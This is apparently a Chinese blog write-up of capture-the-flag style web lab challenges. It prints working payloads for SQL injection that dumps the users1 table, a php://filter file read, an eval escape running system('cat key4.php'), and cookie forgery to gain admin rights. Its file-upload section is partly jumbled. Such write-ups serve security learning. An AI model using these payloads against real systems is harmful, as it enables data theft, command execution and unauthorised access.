文章目录
基础题目一:SQL注入
0x01 题目要求
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
数据库中可以找到Key1
0x02 解题过程
第一步 访问首页
在登录得地方,尝试万能密码,进不去,发现不回显在注册得地方,也没有发现回显直接注册一个用户
第二步 通过注册得账号进入,有个文章发表的地方
发表一篇文章,
发现回显数据库语句
insert article1 value('49E0CAD0-F7E8-5BC2-FA78-7975F5807E14','123admintest1','123456','123admin')
思路就是让value提前通过‘)形成闭合,在文章内容的地方闭合,注意第三个参数是用户名得带上
发现发现文章的地方是使用插入一条数据的值,value(标题,内容,用户名),然后存放到数据库,可以同时插入两条内容,类似于(标题,内容,用户名),(标题,内容,用户名),使得第一条闭合,然后第二天插入自己想要的语句,采取文章发表页面进行查看
123456','123admin'),('123456','2','3 发现字段2和3能够回显1','123admin'),('1',database(),'select version() 发现空格被过滤1','123admin'),('1',database(),'3' 有回显1','123admin'),('1',selectversion(),'3' 通过注释进行过滤
查看发表成功得文章
insert article1 value('377856A7-4CF3-5384-E1AD-37ED2AE6D3A2','qweasd','123456','123admin'),('123456','2','3','123admin')发表了两篇文章
1','123admin'),('1',database(),'select version()
查看回显
第三步 构造闭合,查看回显
1','123admin'),('1',(selectversion()),'3 通过注释进行过滤
查看发布的文章
第四步 查看当前数据库下面得表名
1','123admin'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'3添加注释1','123admin'),('1',(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema='2web'),'3
article,article1,users1
第五步 查询user1表中得字段名称
1','123admin'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3注释后的1','123admin'),('1',(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name='users1'),'3
password,username,XremarkX4354
第六步 查询user1表中username、password的字段值
1','123'),('1',(select password from users1 limit 0,1),'3注释后1','123admin'),('1',(selectpasswordfromusers1limit0,1),'3
依次limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1)、通过INtrude遍历查看
发现不在密码字段,继续查询
1','123admin'),('1',(selectXremarkX4354fromusers1limit0,1),'3
0x03 解题总结
基础题目二:文件上传突破
0x01 题目要求
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
尝试获取webshell,答案就在根目录下key.php文件中。
0x02 解题过程
第一步 进入首页 进行抓取
第二步 更改数据包,基于内容的文件头检测,是否为图片格式
POST /start/ HTTP/1.1Host: 150.158.27.164:1082Content-Length: 793Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://150.158.27.164:1082Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyEOMrHfE69zoK0wEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,**;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: IsAdmin=false; Username=R3Vlc3Q%3DConnection: close
http://150.158.27.164:1083/start/index.php?page=php:/php:///filter/read=convert.base64-encode/resource=../key.php
0x03 解题总结
基础题目四:代码执行漏洞
0x01 题目要求
代码执行漏洞是指没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。
0x02 解题过程
第一步 查看网页源代码
通过分析,这个文件包含了key4.php文件,使用get请求方式传入参数a,然后通过字符串转换函数strtolower(),执行eval()函数输出,最后一行是输入源代码。
第二步 构造函数闭合,执行命令
先使用:)使得strtolower()函数闭合,然后执行命令system();最后注释闭合整行
a=");system("cat key4.php");//?a=");system("cat%20key4.php");//
0x03 解题总结
基础题目五:失效的访问控制
0x01 题目要求
失效的访问控制, 指未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据( 直接的对象引用或限制的URL ) 。例如: 访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
请使用admin用户访问权限获取KEY
0x02 解题过程
第一步 访问页面,提示当前用户guest,权限不够
第二步 抓取数据包,进行cookie信息解码,发现cookie信息可修改
Cookie: PHPSESSID=e567ivvh4gtele9ffol0tf2akl; IsAdmin=false; Username=R3Vlc3Q%3D
第三步 通过更改cookie的认证信息,重放数据包
admin--base64编码:YWRtaW4=更改后的值:Cookie: PHPSESSID=e567ivvh4gtele9ffol0tf2akl; IsAdmin=true; Username=YWRtaW4%3D
0x03 解题总结
摘抄
学习不只在于习得新知识,更在于它能帮助我们保持深度思考,从中不断修正对世界的认知,对自我的了解,继而获得真正的成长。
学习从来不是一件一劳永逸的事情,它应该是人生任何阶段都不可或缺的一种能力。
唯有不断学习,才能与时俱进,不被淘汰。让不断学习成为一种习惯,你所收获的将会是应对生活最大的底气和智慧。
—《不断学习》
来源地址:https://blog.csdn.net/qq_41901122/article/details/127429582